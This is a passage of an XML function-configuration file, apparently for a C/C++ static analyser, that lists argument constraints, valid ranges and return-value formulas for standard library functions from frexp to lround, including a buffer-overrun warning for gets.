    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="3" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="4">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- double frexp(double x, int *exp); -->
  <function name="frexp,std::frexp">
    <returnValue type="double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="out">
      <not-null/>
    </arg>
  </function>
  <!-- float frexpf(float x, int *exp); -->
  <function name="frexpf,std::frexpf">
    <returnValue type="float"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="out">
      <not-null/>
    </arg>
  </function>
  <!-- long double frexpl(long double x, int *exp); -->
  <function name="frexpl,std::frexpl">
    <returnValue type="long double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="out">
      <not-null/>
    </arg>
  </function>
  <!-- double hypot(double x, double y); -->
  <!-- double hypot(double x, double y, double z); -->
  <function name="hypot,std::hypot">
    <use-retval/>
    <pure/>
    <returnValue type="double">hypot(arg1, arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="3" default="0" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float hypotf(float x, float y); -->
  <function name="hypotf,std::hypotf">
    <use-retval/>
    <pure/>
    <returnValue type="float">hypot(arg1, arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double hypotl(long double x, long double y); -->
  <function name="hypotl,std::hypotl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">hypot(arg1, arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int fscanf(FILE *stream, const char *format, ...); -->
  <function name="fscanf,std::fscanf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <formatstr scan="true"/>
    <arg nr="2" direction="in">
      <formatstr/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int vfscanf(FILE *stream, const char * format, va_list arg); -->
  <function name="vfscanf,std::vfscanf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="3"/>
  </function>
  <!-- int vfwscanf(FILE *stream, const wchar_t * format, va_list arg); -->
  <function name="vfwscanf,std::vfwscanf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="3"/>
  </function>
  <!-- int fseek(FILE* stream, long int offset, int origin); -->
  <function name="fseek,std::fseek">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:2</valid>
    </arg>
  </function>
  <!-- int fsetpos(FILE *stream, const fpos_t *ptr); -->
  <function name="fsetpos,std::fsetpos">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- char * fgets(char *buffer, int n, FILE *stream); -->
  <function name="fgets,std::fgets">
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- wchar_t* fgetws(wchar_t* ws, int num, FILE* stream); -->
  <function name="fgetws,std::fgetws">
    <returnValue type="wchar_t*"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- long int ftell(FILE *stream); -->
  <function name="ftell,std::ftell">
    <use-retval/>
    <returnValue type="long int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- int fwide(FILE* stream, int mode); -->
  <function name="fwide,std::fwide">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- size_t fwrite(const void *ptr, size_t size, size_t nobj, FILE *stream); -->
  <function name="fwrite,std::fwrite">
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <minsize type="mul" arg="2" arg2="3"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="4" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- int mblen(const char *string, size_t size); -->
  <function name="mblen,std::mblen">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- int mbtowc(wchar_t* pwc, const char* pmb, size_t max); -->
  <function name="mbtowc,std::mbtowc">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out"/>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- size_t mbrlen(const char* pmb, size_t max, mbstate_t* ps); -->
  <function name="mbrlen,std::mbrlen">
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="inout">
      <not-uninit/>
      <not-null/>
    </arg>
  </function>
  <!-- wint_t btowc(int c); -->
  <function name="btowc,std::btowc">
    <use-retval/>
    <pure/>
    <returnValue type="wint_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- int mbsinit(const mbstate_t* ps); -->
  <function name="mbsinit,std::mbsinit">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- wint_t getwchar(void); -->
  <function name="getwchar,std::getwchar">
    <returnValue type="wint_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
  </function>
  <!-- size_t mbstowcs(wchar_t *ws, const char *s, size_t n); -->
  <function name="mbstowcs,std::mbstowcs">
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- size_t mbsrtowcs(wchar_t* dest, const char** src, size_t max, mbstate_t* ps); -->
  <function name="mbsrtowcs,std::mbsrtowcs">
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-uninit indirect="1"/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="4" direction="inout">
      <not-null/>
    </arg>
  </function>
  <!-- int wctob(wint_t wc); -->
  <function name="wctob,std::wctob">
    <use-retval/>
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int wctomb(char *s, wchar_t wchar); -->
  <function name="wctomb,std::wctomb">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- size_t wcstombs(char *mbstr, const wchar_t *wcstr, size_t n);-->
  <function name="wcstombs,std::wcstombs">
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out"/>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- int getchar(void); -->
  <function name="getchar,std::getchar">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
  </function>
  <!-- int ungetc(int c, FILE *stream); -->
  <function name="ungetc,std::ungetc">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0:255</valid>
    </arg>
    <arg nr="2">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- wint_t ungetwc(wint_t c, FILE *stream); -->
  <function name="ungetwc,std::ungetwc">
    <returnValue type="wint_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- char * getenv(const char *name); -->
  <function name="getenv,std::getenv">
    <use-retval/>
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- char *gets(char *buffer); -->
  <function name="gets,std::gets">
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
    </arg>
    <warn severity="warning">Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead.
The obsolete function 'gets' is called. With 'gets' you'll get a buffer overrun if the input data exceeds the size of the buffer. It is recommended to use the functions 'fgets' or 'gets_s' instead.</warn>
  </function>
  <!-- char *gets_s(char *buffer, rsize_t size); -->
  <function name="gets_s,std::gets_s">
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- struct tm * gmtime(const time_t *tp); -->
  <function name="gmtime,std::gmtime">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <returnValue type="struct tm *"/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- int isalnum(int c); -->
  <function name="isalnum,std::isalnum">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x30 &amp;&amp; arg1&lt;=0x39 || arg1&gt;=0x41 &amp;&amp; arg1 &lt;=0x5A || arg1&gt;=0x61 &amp;&amp; arg1 &lt;=0x7A</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- int iswalnum(wint_t c); -->
  <function name="iswalnum,std::iswalnum">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x30 &amp;&amp; arg1&lt;=0x39 || arg1&gt;=0x41 &amp;&amp; arg1 &lt;=0x5A || arg1&gt;=0x61 &amp;&amp; arg1 &lt;=0x7A</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int isalpha(int c); -->
  <function name="isalpha,std::isalpha">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;='A' &amp;&amp; arg1&lt;='Z' || arg1&gt;='a' &amp;&amp; arg1 &lt;='z'</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- int iswalpha(wint_t c);-->
  <function name="iswalpha,std::iswalpha">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;='A' &amp;&amp; arg1&lt;='Z' || arg1&gt;='a' &amp;&amp; arg1 &lt;='z'</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int isblank(int c); -->
  <function name="isblank,std::isblank">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1==' ' || arg1=='\t'</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- int iswblank(wint_t c); -->
  <function name="iswblank,std::iswblank">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1==' ' || arg1=='\t'</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int iscntrl(int c); -->
  <function name="iscntrl,std::iscntrl">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1==0x7F || arg1&lt;=0x1F</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- int iswcntrl(wint_t c); -->
  <function name="iswcntrl,std::iswcntrl">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1==0x7F || arg1&lt;=0x1F</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int iswctype( wint_t wc, wctype_t desc ); -->
  <function name="iswctype,std::iswctype">
    <use-retval/>
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int isdigit(int c); -->
  <function name="isdigit,std::isdigit">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;='0' &amp;&amp; arg1&lt;='9'</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- int iswdigit(wint_t c); -->
  <function name="iswdigit,std::iswdigit">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;='0' &amp;&amp; arg1&lt;='9'</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int isgraph(int c); -->
  <function name="isgraph,std::isgraph">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x21 &amp;&amp; arg1&lt;=0x7E</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-bool/>
      <not-uninit/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- int iswgraph(wint_t c); -->
  <function name="iswgraph,std::iswgraph">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x21 &amp;&amp; arg1&lt;=0x7E</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int islower(int c); -->
  <function name="islower,std::islower">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x61 &amp;&amp; arg1&lt;=0x7A</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- int iswlower(wint_t c); -->
  <function name="iswlower,std::iswlower">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x61 &amp;&amp; arg1&lt;=0x7A</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int isprint(int c); -->
  <function name="isprint,std::isprint">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x20 &amp;&amp; arg1&lt;=0x7E</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- int iswprint(wint_t c); -->
  <function name="iswprint,std::iswprint">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x20 &amp;&amp; arg1&lt;=0x7E</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int ispunct(int c); -->
  <function name="ispunct,std::ispunct">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x21 &amp;&amp; arg1&lt;=0x2F || arg1&gt;=0x3A &amp;&amp; arg1&lt;=0x40 || arg1&gt;=0x5B &amp;&amp; arg1&lt;=0x60 || arg1&gt;=0x7B &amp;&amp; arg1&lt;=0x7E</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- int iswpunct(wint_t c); -->
  <function name="iswpunct,std::iswpunct">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x21 &amp;&amp; arg1&lt;=0x2F || arg1&gt;=0x3A &amp;&amp; arg1&lt;=0x40 || arg1&gt;=0x5B &amp;&amp; arg1&lt;=0x60 || arg1&gt;=0x7B &amp;&amp; arg1&lt;=0x7E</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int isspace(int c); -->
  <function name="isspace,std::isspace">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x09 &amp;&amp; arg1&lt;=0x0D || arg1==0x20</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- int iswspace(wint_t c); -->
  <function name="iswspace,std::iswspace">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x09 &amp;&amp; arg1&lt;=0x0D || arg1==0x20</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int isupper(int c); -->
  <function name="isupper,std::isupper">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x41 &amp;&amp; arg1&lt;=0x5A</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- int iswupper(wint_t c); -->
  <function name="iswupper,std::iswupper">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x41 &amp;&amp; arg1&lt;=0x5A</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int isxdigit(int c); -->
  <function name="isxdigit,std::isxdigit">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x30 &amp;&amp; arg1&lt;=0x39 || arg1&gt;=0x41 &amp;&amp; arg1&lt;=0x46 || arg1&gt;=0x61 &amp;&amp; arg1&lt;=0x66</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- int iswxdigit(wint_t c); -->
  <function name="iswxdigit,std::iswxdigit">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;=0x30 &amp;&amp; arg1&lt;=0x39 || arg1&gt;=0x41 &amp;&amp; arg1&lt;=0x46 || arg1&gt;=0x61 &amp;&amp; arg1&lt;=0x66</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- wint_t towctrans(wint_t c, wctrans_t desc); -->
  <function name="towctrans,std::towctrans">
    <use-retval/>
    <pure/>
    <returnValue type="wint_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- wint_t towlower(wint_t c); -->
  <function name="towlower,std::towlower">
    <use-retval/>
    <pure/>
    <returnValue type="wint_t">arg1 &lt; 'A' || arg1 &gt; 'Z' ? arg1 : arg1 + 32</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- wint_t towupper(wint_t c); -->
  <function name="towupper,std::towupper">
    <use-retval/>
    <pure/>
    <returnValue type="wint_t">arg1 &lt; 'a' || arg1 &gt; 'z' ? arg1 : arg1 - 32</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- wctrans_t wctrans(const char* property); -->
  <function name="wctrans,std::wctrans">
    <use-retval/>
    <pure/>
    <returnValue type="wctype_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- wctype_t wctype(const char* property); -->
  <function name="wctype,std::wctype">
    <use-retval/>
    <pure/>
    <returnValue type="wctype_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex cabs(double complex z); -->
  <!-- float complex cabsf(float complex z); -->
  <!-- long double complex cabsl(long double complex z); -->
  <function name="cabs,cabsf,cabsl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex cacos(double complex z); -->
  <!-- float complex cacosf(float complex z); -->
  <!-- long double complex cacosl(long double complex z); -->
  <function name="cacos,cacosf,cacosl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex cacosh(double complex z); -->
  <!-- float complex cacoshf(float complex z); -->
  <!-- long double complex cacoshl(long double complex z); -->
  <function name="cacosh,cacoshf,cacoshl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long int labs(long int x); -->
  <function name="labs,std::labs">
    <use-retval/>
    <pure/>
    <returnValue type="long int">arg1&gt;0?arg1:-arg1</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long long int llabs(long long int x);-->
  <function name="llabs,std::llabs">
    <use-retval/>
    <pure/>
    <returnValue type="long long int">arg1&gt;0?arg1:-arg1</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double ldexp(double x, int exp); -->
  <function name="ldexp,std::ldexp">
    <use-retval/>
    <pure/>
    <returnValue type="double">ldexp(arg1,arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float ldexpf(float x, int exp); -->
  <function name="ldexpf,std::ldexpf">
    <use-retval/>
    <pure/>
    <returnValue type="float">ldexp(arg1,arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double ldexpl(long double x, int exp); -->
  <function name="ldexpl,std::ldexpl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">ldexp(arg1,arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- https://cplusplus.com/reference/cmath/lgamma/ -->
  <!-- double lgamma(double x); -->
  <function name="lgamma,std::lgamma">
    <use-retval/>
    <pure/>
    <returnValue type="double">lgamma(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <!-- If x is zero or a negative integer for which the function is asymptotic, it may cause a pole error (depending on implementation).-->
      <valid>!0.0:</valid>
    </arg>
  </function>
  <!-- https://cplusplus.com/reference/cmath/lgamma/ -->
  <!-- float lgammaf(float x); -->
  <function name="lgammaf,std::lgammaf">
    <use-retval/>
    <pure/>
    <returnValue type="float">lgamma(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <!-- If x is zero or a negative integer for which the function is asymptotic, it may cause a pole error (depending on implementation).-->
      <valid>!0.0:</valid>
    </arg>
  </function>
  <!-- https://cplusplus.com/reference/cmath/lgamma/ -->
  <!-- long double lgammal(long double x); -->
  <function name="lgammal,std::lgammal">
    <use-retval/>
    <pure/>
    <returnValue type="long double">lgamma(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <!-- If x is zero or a negative integer for which the function is asymptotic, it may cause a pole error (depending on implementation).-->
      <valid>!0.0:</valid>
    </arg>
  </function>
  <!-- double rint(double x); -->
  <function name="rint,std::rint">
    <use-retval/>
    <pure/>
    <returnValue type="double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float rintf(float x); -->
  <function name="rintf,std::rintf">
    <use-retval/>
    <pure/>
    <returnValue type="float"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double rintl(long double x); -->
  <function name="rintl,std::rintl">
    <use-retval/>
    <pure/>
    <returnValue type="long double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long int lrint(double x); -->
  <!-- long int lrintf(float x); -->
  <!-- long int lrintl(long double x); -->
  <function name="lrint,std::lrint,lrintf,std::lrintf,lrintl,std::lrintl">
    <use-retval/>
    <pure/>
    <returnValue type="long int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long long int llrint(double x); -->
  <!-- long long int llrintf(float x); -->
  <!-- long long int llrintl(long double x); -->
  <function name="llrint,std::llrint,llrintf,std::llrintf,llrintl,std::llrintl">
    <use-retval/>
    <pure/>
    <returnValue type="long long int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long long int llround(double x); -->
  <!-- long long int llroundf(float x); -->
  <!-- long long int llroundl(long double x); -->
  <function name="llround,std::llround,llroundf,std::llroundf,llroundl,std::llroundl">
    <use-retval/>
    <pure/>
    <returnValue type="long long int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long int lround(double x); -->
  <!-- long int lroundf(float x); -->
  <!-- long int lroundl(long double x); -->
  <function name="lround,std::lround,lroundf,std::lroundf,lroundl,std::lroundl">
